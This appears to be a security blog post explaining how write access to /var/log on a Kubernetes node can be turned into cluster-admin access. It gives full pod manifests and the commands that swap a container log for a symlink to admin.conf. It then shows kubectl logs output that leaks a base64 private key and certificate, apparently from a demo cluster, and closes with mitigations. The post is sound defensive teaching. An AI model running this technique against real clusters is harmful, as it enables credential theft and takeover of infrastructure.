I have more than once been met with confusion when I ask if the team responsible for extracting and saving logs from Kubernetes clusters are trusted enough to have admin rights. It seems to be a recurring belief that a user with access to the /var/log folders is not a privileged user. I do not agree.

First of all: a user with access to /var/log has to be trusted to not manipulate the logs. But access to the /var/log folder on a node in a Kubernetes cluster also provides an indirect route to access any other files in the host filesystem. This includes /etc/shadow and other sensitive files, including the /etc/kubernetes/admin.conf in kubeadm-based clusters, which contain credentials providing admin rights in the cluster.

Accessing the Host Filesystem

Interactive version available at Killercoda

Let’s start of with a simple pod that mounts the /var/log folder using a hostPath. It is intended to run on a control plane node.

---
# logs.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    demo: logs
  name: logs
spec:
  nodeSelector:
    node-role.kubernetes.io/control-plane: ""
  tolerations:
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - effect: NoSchedule
      key: node-role.kubernetes.io/etcd
  containers:
  - image: ubuntu
    name: logs
    command:
      - sleep
      - "36000"
    volumeMounts:
    - name: logs
      mountPath: /logs
  volumes:
    - name: logs
      hostPath:
        path: /var/log
        type: Directory

There will also be a simple helper pod that simply needs to exist. It doesn’t really matter what it does, but in this case it will continously output the string “lostb-is-here”. It should run on the same node as the logs pod.

---
# gen.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: generator
  name: generator
spec:
  affinity:
    podAffinity:
      requiredDuringSchedulingIgnoredDuringExecution:
      - labelSelector:
          matchLabels:
            demo: logs
        topologyKey: kubernetes.io/hostname
  tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - effect: NoSchedule
      key: node-role.kubernetes.io/etcd
  containers:
  - image: ubuntu
    name: generator
    command: ["bash", "-c", "while : ; do echo lostb-is-here ; sleep 60 ; done"]

Let’s start the two pods:

$ kubectl apply -f logs.yaml -f gen.yaml

And start an interactive shell in the container with access to /var/log:

$ kubectl exec -it logs -- bash

The container logs are available under /logs/pods (/var/log/pods on the host). The logs are divided into folders based on namespace, pod name, and a hash, namespace_pod_hash. The logs for the generator pod is available in a folder with the name default_generator_<hash>. The pod folder in turn contains a folder for each running container. As the container is called generator, it will also be the name of the folder.

$ cd /logs/pods/default_gen*/generator

The container folder contains a file called 0.log which contains the container logs.

$ cat 0.log
<timestamp> stdout F lostb-is-here
<timestamp> stdout F lostb-is-here

This is the file that is read when you run kubectl logs. In order to exploit our (write!) access to the log folder, this file will be deleted and replaced with a symlink to the /etc/kubernetes/admin.conf file, which contains a kubeconfig file that provides admin permissions in kubeadm clusters. Other Kubernetes distributions will have a similar file, but at a different path.

$ rm 0.log
$ ln -s /etc/kubernetes/admin.conf 0.log

Let’s try to access the admin file:

$ cat 0.log
cat: 0.log: No such file or directory

It didn’t work as we do not have the requested file in our filesystem. It seems we are safe, right? Let’s try leaving the container and accessing the logs via `kubectl logs´ instead.

$ exit
$ kubectl logs generator
failed to get parse function: unsupported log format: "apiVersion: v1\n"

That was not the expected log. There is a mention of apiVersion: v1 that seems to originate in the target admin kubeconfig. How did that happen? The answer is simple: when you run kubectl logs, the kubelet is accessing the logs. Since the kubelet is running in the context of the host, it can follow the symlink and access the file. As the file format does not match the expected <timestamp> stdout F <log>, the file is not printed in its entirety. However, the file can still be accessed if we request the logs row by row:

$ kubectl logs generator --tail=1
failed to get parse function: unsupported log format: "    client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBdzFyQ2ovSi9yd3M4bWJ3Zlk3aDYra0h4dDY3aHUvM2VaL0ZNMFczOHZNbnlXRWtKCkpHUFE5MXJhMWdzbEdOc3FPRU1xZUt1QmtGN1lUbFgxb0NvTVBkenplTWZ3YlRiVWV3bWprb0F5dnVtaDFuTUoKdDRWczZodGliNmZEUDZrbmhRRU13VVpVOHc0TVdVdkJZc1ptQUZSazhIa1ZmNmhvaGFnTm5wZHRhZ3piVmJMMAoweHErNXBYeldqQXgvOXo3ajVJZ1RWSjlPN3hrOE14V1FXQmhEdlJhM0NaUkszdzBUQUJoSldyVndDNFVoeCs5CkxGcXUzd2Zvc0h0QTJlc3lKZ3BOV0ttZEwwQk1UT2lyeW92YTVaWWpKbVRCeHhUWmpZc2xBSGVVMi82TlV1NVQKNi9VelVzTFYwUGkwS2VyMElqNTZpMXdVTGNleTFmeHBTTkJ2UlFJREFRQUJBb0lCQUFNUGdUUlZvWVA1eWxlRApQNytsZElIR3RqV0JQeWFkbGRZdGpOMU1HcFZQbWFVaDhjdDQ1OTEwTmpEN3lEZEJPY0piWlFjeWNxdHpIUEx2ClBGT256UHpNSVNGZmlvZi9mNmswejdQOEg2OW5oQ0pTdDVDQlBlRldELzc5VXgwRWRxcktCeXZoQVBRMDRHTW0Kd1c4ZGVod2Z0bHdoSFlIY1B0VDNPczFsQkhFUW52eitZdTZHdXZ6YnlxeW96MzlmMjR6M1JJdnI0d3RubUhIUAo0YUwwU0J1UzRMQU8rOHRzVTd0SHhNZEpyd2tJNHFuSFdZeU9TY1p5RnJIK25YZVZpa0FUR25UNEFFUXJKdGcvCmdrRjNSYi9DbCszT0w5Ny9mQnV4VnM2OXpqTjZzZzNJMllhVnpvZ2o0VmhCTlVvRVoxQm9LMVVQdHZIK0xMYXoKamhDbzQ0RUNnWUVBNkJCSmJ0ZjAxMW5TWTZMQTl1MjhTblBERyt4OFpWcG1BWlU5eE1UWkd0Nm4xNC9DN3c2MQoxTWhUVjY2WkpzNStyTkRuZXNUWUJtRkRQc09SN3h3ay9UaWpxa3BNaUZBUnBGNG80Yk5LVXVqRmxHZlE0WnloClVGZFFEMmJSZUU5RWdKK1IyZkdZUHBqWGlhYnhxVFFXWkJ5dERnbFRsRTFSWWtBVCtjSDRZc1VDZ1lFQTE0RW8KZDNxejFSUEUzTFdoYm9Mc2FkZ1pNSlpWa21wdksvZU9kTnE3dmljVHlaQXAweFVUNEZROW9rb2kwbnRGNDVhTgpNd2dlcUE4WmRwcmQzQkhyNVp5WGoyZENwLzh0NTVsajJRNlZzRjczS0J1Y2Z2Rno4aUs3M1F0Z3IvVW8zbVI0CjRwYWNRYmhoKzRqU2ZFbCt0ZGV5QnNrMGtTZE43eURYdWZYdW9vRUNnWUFiVnZmZnlDOS9RNFRHMmtEVGxwU04KVFBBYWxSVGV0L1Mya1FlUzdBSUw2VmxxeXZRVFIrOWlIeXU2YzhaMVRQU2RsWXIvNnJyc25YN1hvU0RMUTh5VAp6SjF6allkUXMrWXdNQ3V1MDNtWkpQVktFNlVIUDNXOXlsdVRSUEMrdE5BRU8waHFuY3pxNndUUm9jcHN2Y2M1CmlpdFZNUUlZd2JjcDFSVEZZdlhKWlFLQmdFQXBQQnNXZFNRalZxRS9rbWlNb2thQkNEN25BMk1zUFIwaC8wL2IKTDdwVmVCYXl6VUVETFgvRWxQVVVqWG1OS2ltd1VTbTRhU2d3RnF5eFB3eWVhVlZiWWVSWUlnaFNlU0JURXQ4MAo4R3dxV2Z1ZS9PRHVrazZzK0xHL0NYSlowMmtqRUxxbGpMQWtiVWV1WEx5VVJSMXVzcHBDblZ2NkQ4SDZUVUFZCmNJd0JBb0dCQUpSRFhMajJ3dmN3TEdielJLSmtqVTgzd1ZwOXR2YmNLU01GMzRLN0hYeDJiZ20yK2VGK1kvY0UKbmpyK2dDN0c2VnpNYjl1VHBIRGE4WkVoamM0YTU0eHFlZFpTVWU2UitsSGk4a3MrQU4xSUl4d1l3bnk1UklzaQpWMlgyTFhjY1hUYUNFN090L0UrRzQzeXMwQWFEWDRabG1SK3l3K2FSR0h0VktNdWJ0T29nCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==\n"

$ kubectl logs generator --tail=2
failed to get parse function: unsupported log format: "    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJUCtPT0NwQ0pDK2d3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TmpBeE16RXlNalE1TkRCYUZ3MHlOekF4TXpFeU1qVTBOREJhTUR3eApIekFkQmdOVkJBb1RGbXQxWW1WaFpHMDZZMngxYzNSbGNpMWhaRzFwYm5NeEdUQVhCZ05WQkFNVEVHdDFZbVZ5CmJtVjBaWE10WVdSdGFXNHdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFERFdzS1AKOG4rdkN6eVp2QjlqdUhyNlFmRzNydUc3L2Q1bjhVelJiZnk4eWZKWVNRa2tZOUQzV3RyV0N5VVkyeW80UXlwNApxNEdRWHRoT1ZmV2dLZ3c5M1BONHgvQnROdFI3Q2FPU2dESys2YUhXY3dtM2hXenFHMkp2cDhNL3FTZUZBUXpCClJsVHpEZ3haUzhGaXhtWUFWR1R3ZVJWL3FHaUZxQTJlbDIxcUROdFZzdlRUR3I3bWxmTmFNREgvM1B1UGtpQk4KVW4wN3ZHVHd6RlpCWUdFTzlGcmNKbEVyZkRSTUFHRWxhdFhBTGhTSEg3MHNXcTdmQitpd2UwRFo2ekltQ2sxWQpxWjB2UUV4TTZLdktpOXJsbGlNbVpNSEhGTm1OaXlVQWQ1VGIvbzFTN2xQcjlUTlN3dFhRK0xRcDZ2UWlQbnFMClhCUXR4N0xWL0dsSTBHOUZBZ01CQUFHalZqQlVNQTRHQTFVZER3RUIvd1FFQXdJRm9EQVRCZ05WSFNVRUREQUsKQmdnckJnRUZCUWNEQWpBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVlNQmFBRkt3RmkrQVdwRWk5UllkYQpiSWVJMWRVTXEva3lNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUJyMElVN3p0dlFrOEl2eFRjbDJNMmdwVGtXCnp3QlpKN0hUTmZGK2VtbW9pWUpXMXFGWXJCKzVnVGVQYmNDOWhkK3N2b0MwcTlJMS9Zc2pqNDVYbFU3eXI2NEMKMlRrd1lnOWJZMUxsSk8zeHJaUW9XOC9VYmcxNncxaGJoRzBNbDlkb2NpdHJSa2NXVDhtUWZUOXJpSHdEdUxPUApvMUxua3A4ekNRVzlOd3A3UEdPT2FiajBaQk8zRXB0K3NTWW1PL3J0RngxK21ET3dhRGVQaHoxNldaY1ZuTnF0CnJlSXBFVzRjRWlBOVJFb0JwTWRaaHhGZ20zU2hFRzRTZWU4S1RSamlGeTlKL2xQa3o4T0RyZlBjbXRLNm9ieWoKak5hQ1RkTWc1c1RXcWFLOHh3c0FSWG1jSVV5THIrQW9SWGpISWxDUHloKzNyUU5FTXVtZEdVZk1vbVpUCi0tLS0tRU5EIENFUl

And thus we can extract the file and obtain admin rights.

How can this be stopped? The easiest way is to simply make sure that everyone who has access to the log folder are users that have (or would be trusted to have) admin rights. Another way is to follow the least privilege principles and make sure the logging pods are not given write permissions.